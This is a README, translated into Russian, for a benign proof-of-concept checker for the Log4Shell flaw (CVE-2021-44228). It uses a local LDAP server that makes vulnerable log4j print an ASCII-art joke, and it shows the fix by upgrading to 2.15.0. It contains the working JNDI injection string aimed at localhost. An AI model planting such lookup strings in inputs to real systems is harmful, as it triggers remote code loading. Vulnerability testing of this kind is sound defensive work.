
Проверщик уязвимости CVE-2021-44228
Это репозиторий для проверки уязвимости CVE-2021-44228.
Это PoC, который только отображает строки без загрузки внешних классов. Он не может быть использован для произвольного выполнения кода.
Образ ghcr.io/greymd/cve-2021-44228/server доступен и может быть запущен с помощью Docker.
$ docker run -p 1389:1389 -t ghcr.io/greymd/cve-2021-44228/server
Подготовьте код для вывода логов с использованием log4j и запустите его на том же хосте. Строка вывода должна быть ${jndi:ldap://127.0.0.1:1389/a}.
package logger;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class App {
private static final Logger logger = LogManager.getLogger(App.class);
public static void main(String[] args) {
logger.error("${jndi:ldap://127.0.0.1:1389/a}");
}
}
Если аргумент вызывает уязвимость, будет успешно выведена фраза «うんこもりもり» (что означает «много дерьма»).
17:52:24.871 [main] ERROR logger.App -
"mm
mmmm "m "mmmmm
"" # m" "
# m#m m
# m" # m "m m
m" m" "mm" """""
m m m m m m
mm# # # "m mm# # # "m
m"#" ## # m"#" ## #
""#mm "m # # ""#mm "m # #
# # # # # #
"mm" m" "mm" m"
Если вам лень писать и собирать код, вы можете использовать простое приложение-логгер из этого репозитория. Первый аргумент будет выведен логгером.
$ git clone https://github.com/greymd/CVE-2021-44228.git
$ cd CVE-2021-44228/logger
$ ./gradlew run --args='Hello'
︙
> Task :run
22:10:02.307 [main] ERROR logger.App - Hello
Пример передачи аргумента, вызывающего уязвимость, выглядит следующим образом.
$ ./gradlew run --args='${jndi:ldap://127.0.0.1:1389/a}'
︙
> Task :run
22:10:34.757 [main] ERROR logger.App -
"mm
mmmm "m "mmmmm
"" # m" "
# m#m m
# m" # m "m m
m" m" "mm" """""
m m m m m m
mm# # # "m mm# # # "m
m"#" ## # m"#" ## #
""#mm "m # # ""#mm "m # #
# # # # # #
"mm" m" "mm" m"
Если у вас версия log4j, НЕ подверженная уязвимости, или серверное приложение не запущено, строка будет выведена без изменений. Вы можете проверить это, обновив версию приложения-логгера, как показано ниже.
$ sed -i.bak s/2.14.1/2.15.0/ build.gradle
$ ./gradlew run --args='${jndi:ldap://127.0.0.1:1389/a}'
> Task :run
22:12:50.913 [main] ERROR logger.App - ${jndi:ldap://127.0.0.1:1389/a}
$ git clone https://github.com/greymd/CVE-2021-44228.git
$ cd CVE-2021-44228/server
$ ./gradlew run
︙
Listening ...
Как я упоминал (и насколько я исследовал), эта уязвимость не воспроизводится без запущенного сервера назначения JNDI. Поэтому простой PoC полезен.
Следующие URL-адреса использовались для справки при реализации.
OpenJDK Runtime Environment (build 1.8.0_302-b08)OpenJDK Runtime Environment Corretto-11.0.12.7.1 (build 11.0.12+7-LTS)OpenJDK Runtime Environment Zulu17.30+15-CA (build 17.0.1+12-LTS)